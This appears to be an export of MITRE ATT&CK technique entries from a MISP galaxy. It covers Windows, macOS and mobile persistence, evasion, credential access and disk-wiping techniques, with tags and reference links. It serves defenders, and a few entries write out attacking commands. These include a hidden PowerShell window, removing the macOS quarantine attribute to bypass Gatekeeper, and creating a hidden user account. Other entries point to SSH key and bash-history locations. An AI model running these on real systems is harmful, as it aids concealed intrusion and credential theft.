Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)

Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.

The tag is: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182"

View relationships graph

AppCert DLLs - T1182 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"

Table 5776. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1182">https://attack.mitre.org/techniques/T1182</a></td>
</tr>
<tr>
<td><a href="https://forum.sysinternals.com/appcertdlls_topic12546.html">https://forum.sysinternals.com/appcertdlls_topic12546.html</a></td>
</tr>
</tbody>
</table>

Spearphishing Link - T1192

Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of
spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments.

All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1192"`

View relationships graph

Spearphishing Link - T1192 has relationships with:


Table 5777. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1192">https://attack.mitre.org/techniques/T1192</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/163.html">https://capec.mitre.org/data/definitions/163.html</a></td>
</tr>
</tbody>
</table>

**Shared Modules - T1129**

Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).

Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.

The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic
The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time. (Citation: Microsoft DLL)

The tag is: `misp-galaxy:mitre-attack-pattern="Shared Modules - T1129"

Table 5778. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1129">https://attack.mitre.org/techniques/T1129</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library">https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/">https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/</a></td>
</tr>
</tbody>
</table>

**Obfuscate infrastructure - T1331**

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1331).

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: FireEyeAPT17)

The tag is: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1331"

View relationships graph

Obfuscate infrastructure - T1331 has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscate infrastructure - T1309"` with estimative-language:likelihood-probability="almost-certain"

Table 5779. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1331">https://attack.mitre.org/techniques/T1331</a></td>
</tr>
</tbody>
</table>

**Hidden Window - T1143**

Adversaries may implement hidden windows to conceal malicious activity from the plain sight of
users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.

Windows

There are a variety of features in scripting languages in Windows, such as PowerShell(https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is `<code>powershell.exe -WindowStyle Hidden</code>.(Citation: PowerShell About 2019)

Mac

The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be `apple.awt.UIElement`, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window. (Citation: Antiquated Mac Malware)

The tag is: `misp-galaxy:mitre-attack-pattern="Hidden Window - T1143"

View relationships graph

Hidden Window - T1143 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003"` with estimative-language:likelihood-probability="almost-certain"

Table 5780. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1143">https://attack.mitre.org/techniques/T1143</a></td>
</tr>
</tbody>
</table>

Screen Capture - T1513

Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent). (Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1
Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application. An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.

The tag is: `misp-galaxy:mitre-attack-pattern="Screen Capture - T1513"`

<table>
<thead>
<tr>
<th>Table 5781. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1513">https://attack.mitre.org/techniques/T1513</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/reference/android/media/projection/MediaProjectionManager">https://developer.android.com/reference/android/media/projection/MediaProjectionManager</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/studio/command-line/adb">https://developer.android.com/studio/command-line/adb</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html">https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html</a></td>
</tr>
</tbody>
</table>

Create Account - T1136

Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.

The tag is: `misp-galaxy:mitre-attack-pattern="Create Account - T1136"`

<table>
<thead>
<tr>
<th>Table 5782. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1136">https://attack.mitre.org/techniques/T1136</a></td>
</tr>
</tbody>
</table>

Process Injection - T1631

Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Both Android and iOS have no legitimate way to achieve process injection. The only way this is possible is by abusing existing root access or exploiting a vulnerability.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Injection - T1631"*

Table 5783. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1631">https://attack.mitre.org/techniques/T1631</a></td>
</tr>
</tbody>
</table>

**Application Shimming - T1138**

The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.

A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- `<code>%WINDIR%\AppPatch\sysmain.sdb</code>`
- `<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>`

Custom databases are stored in:

- `<code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch64\Custom</code>`
- `<code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>`

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Shimming - T1138"*

View relationships graph

Application Shimming - T1138 has relationships with:
Authentication attempt - T1381

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)

The tag is: `misp-galaxy:mitre-attack-pattern="Authentication attempt - T1381"`

Spearphishing Attachment - T1193

Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

The tag is: `misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193"`
Spearphishing Attachment - T1193 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 5786. Table References

Links

- https://attack.mitre.org/techniques/T1193
- https://capec.mitre.org/data/definitions/163.html

Bash History - T1139

Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's <code>.bash_history</code> file. For each user, this file resides at the same location: <code>/Users/username/.bash_history</code>. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

The tag is: misp-galaxy:mitre-attack-pattern="Bash History - T1139"

Table 5787. Table References

Links

- http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
- https://attack.mitre.org/techniques/T1139

Gatekeeper Bypass - T1144

In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be
checked by the xattr command `<code>xattr /path/to/MyApp.app</code>` for `<code>com.apple.quarantine</code>`. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, `<code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>`. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)

The tag is: `misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1144"`

View relationships graph

Gatekeeper Bypass - T1144 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001" with estimative-language:likelihood-probability="almost-certain"

Table 5788. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1144">https://attack.mitre.org/techniques/T1144</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/">https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/</a></td>
</tr>
</tbody>
</table>

Clipboard Data - T1414

Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device. (Citation: Fahl-Clipboard)

On Android, applications can use the `ClipboardManager.OnPrimaryClipChangedListener()` API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device's default input method editor (IME). (Citation: Github Capture Clipboard 2019) (Citation: Android 10 Privacy Changes)

On iOS, this can be accomplished by accessing the `UIPasteboard.general.string` field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an
iMessage from the Messages application, the notification will read “application_name has pasted from Messages” when the text was pasted in a different application.(Citation: UIPasteboard)

The tag is: `misp-galaxy:mitre-attack-pattern="Clipboard Data - T1414"`

### Table 5789. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1414">https://attack.mitre.org/techniques/T1414</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/about/versions/10/privacy/changes#clipboard-data">https://developer.android.com/about/versions/10/privacy/changes#clipboard-data</a></td>
</tr>
<tr>
<td><a href="https://github.com/grepx/android-clipboard-security">https://github.com/grepx/android-clipboard-security</a></td>
</tr>
</tbody>
</table>

### Foreground Persistence - T1541

Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android's `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)

Malicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)

Malicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)

The tag is: `misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541"`

### Table 5790. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1541">https://attack.mitre.org/techniques/T1541</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/guide/components/services.html#Foreground">https://developer.android.com/guide/components/services.html#Foreground</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices">https://developer.android.com/guide/topics/sensors/sensors_overview#sensors-practices</a></td>
</tr>
</tbody>
</table>
Private Keys - T1145

Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)

Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk, .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as `<code>~/.ssh</code>` for SSH keys on * nix-based systems or `<code>C:\Users\(username)\.ssh\</code>` on Windows.

Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)

The tag is: `misp-galaxy:mitre-attack-pattern="Private Keys - T1145"

View relationships graph

Private Keys - T1145 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"` with estimative-language:likelihood-probability="almost-certain"

Table 5791. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1145">https://attack.mitre.org/techniques/T1145</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Public-key_cryptography">https://en.wikipedia.org/wiki/Public-key_cryptography</a></td>
</tr>
<tr>
<td><a href="https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/">https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/</a></td>
</tr>
</tbody>
</table>

Lockscreen Bypass - T1461

An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen. Several methods exist to accomplish this, including:

- Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a
mobile device’s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device’s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.(Citation: SRLabs-Fingerprint)(Citation: TheSun-FaceID)

- Unlock code bypass: An adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.

- Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.(Citation: Wired-AndroidBypass)(Citation: Kaspersky-iOSBypass)

The tag is: misp-galaxy:mitre-attack-pattern="Lockscreen Bypass - T1461"

**Table 5792. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1461">https://attack.mitre.org/techniques/T1461</a></td>
</tr>
<tr>
<td><a href="https://srlabs.de/bites/spoofing-fingerprints/">https://srlabs.de/bites/spoofing-fingerprints/</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/">https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/</a></td>
</tr>
<tr>
<td><a href="https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/">https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/</a></td>
</tr>
</tbody>
</table>

**Data Manipulation - T1641**

Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application, process, and the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.

The tag is: misp-galaxy:mitre-attack-pattern="Data Manipulation - T1641"

**Table 5793. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1641">https://attack.mitre.org/techniques/T1641</a></td>
</tr>
</tbody>
</table>

**URI Hijacking - T1416**

Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.
Applications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources. (Citation: Trend Micro iOS URL Hijacking) (Citation: IETF-PKCE)

The tag is: misp-galaxy:mitre-attack-pattern="URI Hijacking - T1416"

**View relationships graph**

URI Hijacking - T1416 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="URI Hijacking - T1635.001" with estimative-language:likelihood-probability="almost-certain"

**Table 5794. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1416">https://attack.mitre.org/techniques/T1416</a></td>
<td></td>
</tr>
</tbody>
</table>

**Input Capture - T1417**

Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Keylogging](https://attack.mitre.org/techniques/T1417/001)) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. [GUI Input Capture](https://attack.mitre.org/techniques/T1417/002)).

The tag is: misp-galaxy:mitre-attack-pattern="Input Capture - T1417"

**Table 5795. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1417">https://attack.mitre.org/techniques/T1417</a></td>
<td></td>
</tr>
</tbody>
</table>

**Hidden Users - T1147**

Every user account in macOS has a userID associated with it. When creating a user, you can specify
the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create/Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).

The tag is: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147"

View relationships graph

Hidden Users - T1147 has relationships with:


Table 5796. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1147">https://attack.mitre.org/techniques/T1147</a></td>
</tr>
<tr>
<td><a href="https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf">https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf</a></td>
</tr>
</tbody>
</table>

**Software Discovery - T1418**

Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1418) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions.

Adversaries may attempt to enumerate applications for a variety of reasons, such as figuring out what security measures are present or to identify the presence of target applications.

The tag is: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418"

Table 5797. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1418">https://attack.mitre.org/techniques/T1418</a></td>
</tr>
</tbody>
</table>

**SSH Hijacking - T1184**

Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.
In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)

[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: *misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184"

View relationships graph

SSH Hijacking - T1184 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"

Table 5798. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1184">https://attack.mitre.org/techniques/T1184</a></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219">https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219</a></td>
</tr>
</tbody>
</table>

**Web Service - T1481**

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Web Service - T1481"

Table 5799. Table References
LC_MAIN Hijacking - T1149

This technique has been deprecated and should no longer be used.

As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary's entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.

The tag is: `misp-galaxy:mitre-attack-pattern="LC_MAIN Hijacking - T1149"`

Table 5800. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1149">https://attack.mitre.org/techniques/T1149</a></td>
<td></td>
</tr>
</tbody>
</table>

Disk Wipe - T1561

Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)

On network devices, adversaries may wipe configuration files and other data from the device using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `erase`. (Citation: `erase_cmd_cisco`)

The tag is: `misp-galaxy:mitre-attack-pattern="Disk Wipe - T1561"`
Input Injection - T1516

A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android’s accessibility APIs.

[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:

- Mimicking user clicks on the screen, for example to steal money from a user’s PayPal account.(Citation: android-trojan-steals-paypal-2fa)
- Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019)
- Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)

The tag is: `misp-galaxy:mitre-attack-pattern="Input Injection - T1516"

Startup Items - T1165

Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, `<code>/Library/StartupItems</code>` isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), `<code>StartupParameters.plist</code>`, reside in the top-level directory.
